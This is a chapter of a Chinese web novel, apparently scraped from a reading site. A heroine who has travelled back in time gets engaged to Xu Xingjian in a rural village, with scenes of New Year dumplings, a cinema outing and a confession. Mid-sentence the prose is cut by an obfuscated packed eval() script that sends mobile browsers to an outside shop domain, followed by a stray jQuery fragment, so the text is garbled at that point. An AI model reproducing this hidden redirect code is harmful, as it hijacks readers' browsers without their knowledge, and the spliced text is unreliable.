等陈昭宁再出来时，她已经把头发梳好了，辫子扎得齐齐整整的，端着一副“小大人”的架势，走到灶台边帮陈绍君包饺子。
今晚吃饺子——陈绍君擀皮，陈昭宁和许行简包馅儿。
陈绍君擀皮时手很快，面皮一张接一张地摞起来，偶尔偏过头去看一眼许行简手里的活计，嘴角那点笑意便压不住。
许行简坐在灶台另一侧的小杌子上，个头太高，腿长，窝在那里显得有些委屈。他的手指修长，骨节分明，但在捏饺子这件事上却十分笨拙。他捏出来的饺子歪歪斜斜地躺在盖帘上，形态各异。
陈昭宁站在两人中间，鼻尖上沾了一小片面粉，她的手里托着张饺子皮，舀了一勺馅，熟练地把边儿捏拢。
她看着许行简包的饺子，忍不住吐槽：“姐夫，你这饺子真像癞蛤蟆。”
话说得不好听，但称呼可心。
许行简低头看了看自己手心里那只变形了的饺子，嘴角微微弯了一下，又把饺子重新捏了捏。
——好像更糟了。
陈绍君探过身去救场，手指刚触到许行简手里的面皮，许行简另一只手的手指就覆上了陈绍君的手背。
“我自己来。”他说。
陈绍君的手僵了一瞬，随即抽回来，垂着眼皮继续擀她的皮。面杖滚过去，滚过来，速度比方才快了些，案板上发出均匀的、笃笃的响。她的耳根红了，一路烧到脖颈里去，可脸上偏偏一副不动声色的模样，嘴唇抿得紧紧的，只那双眼睛亮得灼人。
窗外下起雪来了。起初是几片零星的、薄薄的雪花，被风卷着贴在窗玻璃上，化了，淌下一道水痕。后来雪密了，大朵大朵地往下坠，簌簌地落在院子里那棵老树的枯枝上，积出毛茸茸的一层白。
饺子要下锅时，陈昭宁捂着嘴取笑许行简：“你就没包出一个好看的饺子！”
许行简抬眼看了她一下，嘴角那点弧度若有若无的，没说话。
陈绍君端起盖帘，哗啦一下把饺子推进锅里。热水溅起来，腾起一大团白雾，把她的脸罩在后面。她用笊篱的背轻轻推着锅里的饺子，一圈，又一圈，那些白胖的饺子在沸水里翻着跟头，慢慢地浮上来，挤挤挨挨地漂着。
雪越下越大了。落在窗台上，扑簌簌的。
陈绍君拿勺子舀了一只饺子起来，看了看，又放回锅里。她看了许行简一眼，说：“你包的饺子，等会儿自己吃。”
许行简低声应了一个字：“嗯。”
饭摆上桌的时候，外面已经很热闹了。鞭炮声此起彼伏，震得窗纸簌簌响。三个人围坐在矮桌边上，桌上摆着一盘热气腾腾的饺子、两碟咸菜、一碗红烧肉、一碟炒鸡蛋，还有陈绍君自己酿的一小坛米酒。
方桌，许行简坐在陈绍君左边，陈昭宁坐在她的右面。
饭吃到一半，陈绍君放下筷子，给许行简倒了一杯米酒，又给自己也倒了一杯，然后她端起面前那杯米酒，看着许行简说：“许行简，我们的婚事，算是定下了。”
许行简看着她。
“但我有条件。”
他的眼睛亮了：“你说。”
“第一，我们现在只是定亲。什么时候结婚，得我说了算。”
“好。”
“第二，你什么事都不许瞒我，不许背着我搞小动作。”
“好。”
“第三，”她顿了顿，“我以后可能会做一些事，在别人看来可能‘出格’。你怕不怕被连累？”
他摇头：“不怕。”
陈绍君看着他，一口把被子里的米酒喝掉，爽快地说：“行。那我们就试试。”
“好。”许行简也端着自己的那杯米酒，一饮而尽。
窗外正好有一串鞭炮炸开，噼噼啪啪的热闹声铺天盖地地涌进来，把他的尾音淹没了一瞬。
陈绍君偏头看着灶台边上那只插着冬青果的粗陶罐，红艳艳的果实着实是这个冬天里最鲜亮的一点颜色。
……
过完年，许行简便“正式”去大队部报备了处对象的事。陈正清笑呵呵地在登记本上写下了两个人的名字。
消息传开，村里人反应不一。有人祝福，有人说闲话，但陈绍君不在乎。
她站在自家院子里，看着许行简帮她修狗窝的背影，心里忽然很平静。
她想起刚穿过来的那个凌晨，她躺在炕上，头痛欲裂，整个人都是懵的。没想到现在，也能过得这样得心应手。
“许行简。”她开口。
“嗯？”他停下锯子，偏过头来，下颌的线条被傍晚的光勾得利落。
她走过去两步，站在他侧后方，开口问：“你是下河救我的那次，喜欢上我都吗？”
他没立刻答话。锯子搁在地上，他拍了拍手上的灰，慢慢站起来。转过来的时候，他的脸在树枝的阴影里，眼睛却亮着。
“不是。”他说，“是在集市，我来这儿的第一天。”
“啊？”陈绍君愣了一下。
“我看见你在抓小偷。”许行简的嘴角有一点的弧度，“你很有生气，跟别人都不一样。”
陈绍君突然伸手从他身后环住了他的腰。脸贴上去，隔着棉袄，能感觉到他后背的温热，还有他整个人猛然绷紧的僵硬。
锤子差点从手里脱落，他右手一紧，才攥住锤柄。
“怎么了——”他的声音发紧，喉结上下滚了一下。
“别动。”她把脸埋得更深了些，声音闷在他背上，“让我抱一会儿。”
他不动了。院子里的风从枣树梢头穿过来，带着二月特有的干冷和土腥味。院里都小黑狗叫了两声，又安静了。许行简的手慢慢松下来，锤子搁在了鸡窝顶上。他站着，像一堵沉默的墙，任由她靠着。
陈绍君闭着眼睛，听见自己的心跳，一下，又一下，和风吹过树梢的声音搅在一起。她鼻子酸酸的，但嘴角却慢慢地往上弯。
现代的许行简，说过一模一样的话。
——你很有生气，跟别人，都不一样。
她想，虽然他不记得他，但他们似乎真的是一模一样的……
许行简的手掌犹豫了一下后，极轻地覆
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17710563|207554||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在她环在他腰间的手背上。
天边的云烧成了淡紫色，最后一缕光从树枝丫间漏下来，落在两个人叠在一起的手上。
……
第二天，王嘉礼来家里找陈绍君。
一见面，她就拽着陈绍君的胳膊摇：“天啊！你真的跟许知青处结婚了？你前几天不是说‘不想跟他结婚，我们只是朋友’吗？怎么今天就登记了？”
“许行简去大队部登记的。”陈绍君面无表情，“我也没想到他动作这么快。”
“那你是怎么想的？你对他——”
“喜欢的，”陈绍君打断她，面带微笑。
王嘉礼没再追问，但她的眼神分明在说：你完了，你完蛋了，你坠入爱河了！
陈绍君知道自己在完蛋的边缘。
因为有了名分的许行简，就像是变了个人。
以前是暗戳戳地偶遇，现在是明晃晃地出现。每天早晨，他都会出现在陈绍君家门口，要么挑着水桶来帮她挑水，要么劈好一捆柴放在院子里，要么揣着两个热红薯和鸡蛋塞给她和陈昭宁当早饭。
陈绍君有一次问他：“过了年你不用上工吗？”
“上班之前做的。”他说，“不耽误。”
每周末，他都会带陈绍君和陈昭宁去县里看电影。
这个年代，看电影是稀罕事。公社电影院一个月放一场，票要靠抢。陈绍君不知道他从哪弄到的票，但她没拒绝。
三个人并排坐在昏暗的电影院里。放映的是《地道战》，陈绍君不爱看战争片，但陈昭宁看得津津有味。
看到一半，她的手忽然被碰了一下。
她低头——是许行简，他的指尖距离她的手只有几厘米。
但他还在假装，假装自己在看电影。
陈绍君看穿了他的心思，故意没动。
过了一会儿，他的手指又往前蹭了蹭。
陈绍君还是没动。
又过了一会儿，他的整个手盖了上来，握住了她的手。手心全是汗。
陈绍君转头看他。他依旧盯着屏幕。
她笑了笑，没抽手。
看完电影，他们三个人搭车回村里。暮色是从车窗外一寸一寸漫进来的。
陈绍君的左边坐着陈昭宁。她正把头靠在挡板上打盹，棉帽遮住了半边脸，嘴里含含糊糊的不知道念叨什么。
陈绍君的右边是许行简。她的手还被他握着。
十指交缠的握法。指节嵌进指缝里，掌心贴着掌心，陈绍君侧过头去看他。天边的最后一点霞光正从他眉骨上滑下去，他的脸侧对着她，鼻梁的轮廓在将暗未暗的光线里格外分明。他望着路前方的田野，表情淡淡的。
“许行简。”她喊他。
“嗯。”他转头看她。
“你怎么老是带我来看电影啊？”她凑近了些问。
他沉默了两秒才回答：“魏致明请你看电影的时候，你很高兴。”
“啊？”震惊之余，陈绍君的嘴角往上弯了弯。
好哇，这个人，话不多，心眼不少。